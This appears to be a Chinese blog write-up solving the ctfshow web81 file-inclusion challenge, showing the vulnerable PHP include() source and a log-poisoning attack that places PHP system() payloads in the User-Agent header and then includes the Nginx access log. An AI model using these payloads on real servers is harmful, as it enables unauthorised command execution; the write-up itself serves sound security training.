ctfshow-web81-文件包含-日志文件包含

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 15:51:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

这题多过滤掉了冒号:,伪协议php://开头的都不能用了

日志文件是服务器用来记录各种操作和访问信息的文件,比如网站服务器会记录用户的访问请求、来源地址、使用的浏览器信息等。如果攻击者能够在发送给网站的请求(比如网址、用户代理信息等)中插入恶意代码,这些代码就会被服务器记录到日志文件中。当服务器后续读取或处理这些日志文件时,如果存在漏洞,恶意代码就可能被当作正常的代码执行,从而实现攻击目的,比如获取服务器的控制权

服务器是Nginx的

image-20250519202044085

可以进行日志文件包含,在User-Agent中写入恶意命令,然后包含日志文件从而得到命令的回显

Nginx默认日志路径是/var/log/nginx/access.log

1
2
3
User-Agent: <?php system('ls');?>

?file=/var/log/nginx/access.log

image-20250519201327703

1
2
3
User-Agent: <?php system('cat fl0g.php');?>

?file=/var/log/nginx/access.log

image-20250519201422397


ctfshow-web81-文件包含-日志文件包含
https://yschen20.github.io/2025/05/25/ctfshow-web81-文件包含-日志文件包含/
作者
Suzen
发布于
2025年5月25日
更新于
2025年5月29日
许可协议